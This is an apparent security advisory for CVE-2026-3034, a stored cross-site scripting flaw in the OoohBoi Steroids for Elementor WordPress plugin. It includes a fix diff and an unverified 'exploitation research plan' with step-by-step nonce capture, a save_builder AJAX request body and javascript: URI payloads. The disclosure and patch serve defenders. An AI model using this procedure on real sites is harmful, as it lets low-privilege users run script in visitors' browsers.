CVE-2026-3034

OoohBoi Steroids for Elementor <= 2.1.24 - Authenticated (Contributor+) Stored Cross-Site Scripting via Multiple URL Controls

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
2.1.25
Patched in
1d
Time to patch

Description

The OoohBoi Steroids for Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the _ob_spacerat_link, _ob_bbad_link, and _ob_teleporter_link URL parameters in all versions up to, and including, 2.1.24. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user clicks on the injected element.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=2.1.24
PublishedMarch 4, 2026
Last updatedMarch 5, 2026

What Changed in the Fix

Changes introduced in v2.1.25

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-3034 ## 1. Vulnerability Summary The **OoohBoi Steroids for Elementor** plugin (up to version 2.1.24) is vulnerable to **Stored Cross-Site Scripting (XSS)**. The vulnerability exists because the plugin allows users with Contributor-level access and above to de…

Show full research plan

Exploitation Research Plan: CVE-2026-3034

1. Vulnerability Summary

The OoohBoi Steroids for Elementor plugin (up to version 2.1.24) is vulnerable to Stored Cross-Site Scripting (XSS). The vulnerability exists because the plugin allows users with Contributor-level access and above to define custom link URLs for specific Elementor elements (Sections, Columns, and Spacers) without sufficient sanitization or validation. These URLs are stored in the post's metadata and subsequently rendered in the frontend within a data-settings JSON attribute. The plugin's JavaScript then parses this JSON and directly assigns the URL to location.href or window.open() during a click event, allowing for the execution of javascript: URIs.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: elementor_ajax (standard Elementor saving mechanism)
  • Vulnerable Parameters:
    • _ob_spacerat_link[url] (for Spacer widgets)
    • _ob_bbad_link[url] (for Columns)
    • _ob_teleporter_link[url] (for Columns/Sections)
  • Authentication: Authenticated, Contributor-level access or higher (any role allowed to use the Elementor editor).
  • Preconditions:
    • Elementor plugin must be active.
    • The victim must click on the injected element in the frontend.

3. Code Flow

  1. Storage (PHP): When a user saves an Elementor page, the settings for each widget/element are saved as a JSON-encoded string in the _elementor_data post meta. The plugin fails to sanitize the URL values within these custom "Steroids" controls.
  2. Rendering (PHP/Frontend): When the page is viewed, Elementor renders elements with a data-settings attribute containing the configuration JSON.
  3. Execution (JS - assets/js/spacerat.js):
    • ModuleHandler for SpaceRat is initialized.
    • runRoutine() is called.
    • It parses settings: spacerat_settings = JSON.parse( this.$element.attr( 'data-settings' ) );
    • It retrieves the link: var spacerat_link = spacerat_settings._ob_spacerat_link;
    • It attaches a click listener: this.$element.on( 'click.obSpacerat', function() { ... } );
    • The Sink: Inside the listener, it executes: location.href = spacerat_link.url; (if not external) or window.open( spacerat_link.url ); (if external).
  4. Execution (JS - assets/js/ooohboi-steroids.js):
    • Similar flow in initColumnExtends for _ob_bbad_link:
    • this.$element.on( 'click.bb', function() { location.href = bb_link.url; } );

4. Nonce Acquisition Strategy

Since the vulnerability is exploited by saving data through the Elementor editor, the standard Elementor AJAX nonce is required.

  1. Step 1: Use wp post create to create a page and set its template to Elementor.
  2. Step 2: Navigate to the Elementor editor for that post: /wp-admin/post.php?post=POST_ID&action=elementor.
  3. Step 3: Use browser_eval to extract the nonce from the elementorCommonConfig object.
    • JavaScript Variable: window.elementorCommonConfig.ajax.nonce
  4. Step 4: Use this nonce in the elementor_ajax POST request.

5. Exploitation Strategy

Step 1: Create a target post

Create a page that can be edited with Elementor.

wp post create --post_type=page --post_title="XSS Test" --post_status=publish --post_author=CONTRIBUTOR_ID

Step 2: Inject Payload via Elementor AJAX

Send an HTTP POST request to admin-ajax.php simulating an Elementor save operation. This injects the javascript: payload into the _ob_spacerat_link control.

  • URL: http://TARGET/wp-admin/admin-ajax.php?action=elementor_ajax
  • Method: POST
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body Parameters:
    • action: elementor_ajax
    • _nonce: [EXTRACTED_NONCE]
    • actions: A JSON string containing the save_builder action:
{
  "save_builder": {
    "action": "save_builder",
    "data": {
      "status": "publish",
      "elements": [
        {
          "id": "e1",
          "elType": "widget",
          "widgetType": "spacer",
          "settings": {
            "_ob_spacerat_use": "yes",
            "_ob_spacerat_link": {
              "url": "javascript:alert(window.origin)",
              "is_external": ""
            }
          },
          "elements": []
        }
      ]
    }
  }
}

Step 3: Trigger XSS

  1. Navigate to the permalink of the created page.
  2. Find the element with the class ob-spacerat (the Spacer widget).
  3. Click the element.
  4. The browser will execute location.href = "javascript:alert(window.origin)".

6. Test Data Setup

  1. User: A user with the contributor role.
  2. Plugin: ooohboi-steroids-for-elementor installed and active.
  3. Dependency: elementor installed and active.
  4. Post Metadata: The post must have _elementor_edit_mode set to builder to ensure the frontend loads Elementor assets.

7. Expected Results

  • The elementor_ajax request should return a 200 OK with a JSON body indicating success.
  • Viewing the page source of the created post should show a div element representing the spacer widget with a data-settings attribute:
    data-settings='{"_ob_spacerat_use":"yes","_ob_spacerat_link":{"url":"javascript:alert(window.origin)","is_external":""},...}'
  • Clicking the spacer widget triggers a JavaScript alert box.

8. Verification Steps

  1. Verify Storage: Use WP-CLI to inspect the post meta:
    wp post meta get [POST_ID] _elementor_data
    
    Check if the output contains the payload string "url":"javascript:alert(window.origin)".
  2. Verify Execution: In the browser, navigate to the post and check if the ob-spacerat class is present on any element and if the click handler is attached.

9. Alternative Approaches

If the spacer widget is not available or restricted, target the Column element using the _ob_bbad_link parameter.

  • Element JSON modification:
{
  "id": "c1",
  "elType": "column",
  "settings": {
    "_ob_bbad_link": {
      "url": "javascript:console.log('XSS_SUCCESS')",
      "is_external": ""
    }
  },
  "elements": []
}

This follows the same code path in assets/js/ooohboi-steroids.js within the ColumnExtends.initColumnExtends function.

Research Findings
Static analysis — not yet PoC-verified

Summary

The OoohBoi Steroids for Elementor plugin allows authenticated attackers with Contributor-level access or higher to perform Stored Cross-Site Scripting (XSS) by injecting 'javascript:' URIs into custom link parameters. When a site visitor clicks on the modified Elementor element (Spacer, Column, or Section), the malicious script executes in their browser via JavaScript's location.href or window.open().

Vulnerable Code

// assets/js/spacerat.js - lines 48 to 55
                    if( undefined !== spacerat_settings._ob_spacerat_link ) {
                    
                        var spacerat_link = spacerat_settings._ob_spacerat_link;
                        if( '' === spacerat_link.url ) return;

                        this.$element.off( 'click.obSpacerat' );
                        this.$element.on( 'click.obSpacerat', function() {
                            if( spacerat_link.is_external ) window.open( spacerat_link.url ); 
                            else location.href = spacerat_link.url;
                        } );

                    }

---

// assets/js/ooohboi-steroids.js - lines 136 to 143
                    if( undefined !== bb_settings._ob_bbad_link ) { 

                        var bb_link = bb_settings._ob_bbad_link;
                        if( '' === bb_link.url ) { 
                            this.$element.removeClass( 'bb-column-link' );
                            return;
                        } else {
                            this.$element.addClass( 'bb-column-link' );
                        }

                        this.$element.off( 'click.bb' );
                        this.$element.on( 'click.bb', function() {
                            if( bb_link.is_external ) window.open( bb_link.url ); 
                            else location.href = bb_link.url;
                        } );

                    }

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/ooohboi-steroids-for-elementor/2.1.24/assets/js/ooohboi-steroids.js /home/deploy/wp-safety.org/data/plugin-versions/ooohboi-steroids-for-elementor/2.1.25/assets/js/ooohboi-steroids.js
--- /home/deploy/wp-safety.org/data/plugin-versions/ooohboi-steroids-for-elementor/2.1.24/assets/js/ooohboi-steroids.js	2025-11-21 07:28:16.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/ooohboi-steroids-for-elementor/2.1.25/assets/js/ooohboi-steroids.js	2026-02-25 11:27:02.000000000 +0000
@@ -112,6 +112,21 @@
             },
             initColumnExtends: function() {
                 /* breaking bad */
+
+                function getSafeUrl(url) {
+                    try {
+                        var parsed = new URL(url, window.location.origin);
+                        var allowedProtocols = ['http:', 'https:', 'mailto:', 'tel:'];
+
+                        if (!allowedProtocols.includes(parsed.protocol)) {
+                            return false;
+                        }
+
+                        return parsed.href;
+                    } catch (e) {
+                        return false;
+                    }
+                }
                 if( ! this.isEdit ) {
                     var bb_settings = {};
                     try {
@@ -123,19 +138,30 @@
                     if( undefined !== bb_settings._ob_bbad_link ) { 
 
                         var bb_link = bb_settings._ob_bbad_link;
-
-                        if( '' === bb_link.url ) { 
+                        if( ! bb_link.url || bb_link.url === '' ) { 
                             this.$element.removeClass( 'bb-column-link' );
                             return;
-                        } else {
-                            this.$element.addClass( 'bb-column-link' );
                         }
 
+                        // Validate URL before using
+                        var safeUrl = getSafeUrl( bb_link.url );
+
+                        if ( ! safeUrl ) {
+                            this.$element.removeClass( 'bb-column-link' );
+                            return;
+                        }
+
+                        this.$element.addClass( 'bb-column-link' );
                         this.$element.off( 'click.bb' );
+
                         this.$element.on( 'click.bb', function() {
-                            if( bb_link.is_external ) window.open( bb_link.url ); 
-                            else location.href = bb_link.url;
+                            if( bb_link.is_external ) {
+                                window.open( safeUrl, '_blank', 'noopener,noreferrer' );
+                            } else {
+                                window.location.href = safeUrl;
+                            }
                         } );
- 
                     }
                 }
                 /* Teleporter */
@@ -289,17 +315,42 @@
                 if( 'no-mobile' === teleporter_settings._ob_teleporter_no_pass_mobile ) 
                     this.$element.addClass( 'ob-tele-no-mobile' ); 
 
+                function getSafeUrl(url) {
+                    try {
+                        var parsed = new URL(url, window.location.origin);
+                        var allowedProtocols = ['http:', 'https:', 'mailto:', 'tel:'];
+
+                        if (!allowedProtocols.includes(parsed.protocol)) {
+                            return false;
+                        }
+
+                        return parsed.href;
+                    } catch (e) {
+                        return false;
+                    }
+                }
                 // handle links
                 if( undefined !== teleporter_settings._ob_teleporter_link ) { 
 
                     var tele_link = teleporter_settings._ob_teleporter_link;
-                    if( '' === tele_link.url ) return;
+                    if( ! tele_link.url || tele_link.url === '' ) {
+                        return;
+                    }
+
+                    var safeUrl = getSafeUrl( tele_link.url );
+
+                    if ( ! safeUrl ) {
+                        return;
+                    }
 
                     this.$element.off( 'click.obTeleporter' );
                     this.$element.on( 'click.obTeleporter', function() {
-                        if( tele_link.is_external ) window.open( tele_link.url ); 
-                        else location.href = tele_link.url;
-                    } );
+                        if( tele_link.is_external ) {
+                            window.open( safeUrl, '_blank', 'noopener,noreferrer' );
+                        } else {
+                            window.location.href = safeUrl;
+                        }
+                    });
 
                 }

Exploit Outline

The exploit is performed by an authenticated user with Contributor-level permissions or higher who can edit Elementor content. 1. The attacker creates or edits a post using Elementor. 2. The attacker captures the Elementor AJAX nonce from the editor interface (located in the `window.elementorCommonConfig.ajax.nonce` global object). 3. The attacker sends a POST request to `/wp-admin/admin-ajax.php?action=elementor_ajax` with the `save_builder` action. 4. In the `elements` data structure of the request, the attacker injects a payload into the `url` property of an affected control (such as `_ob_spacerat_link`, `_ob_bbad_link`, or `_ob_teleporter_link`). The payload is a JavaScript URI: `javascript:alert(window.origin)`. 5. Once saved, the plugin stores this payload in the post metadata. 6. When any user views the published page and clicks on the modified element, the plugin's frontend JavaScript (e.g., `spacerat.js`) retrieves the unsanitized URL from the element's `data-settings` attribute and assigns it directly to `location.href` or `window.open()`, resulting in code execution.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.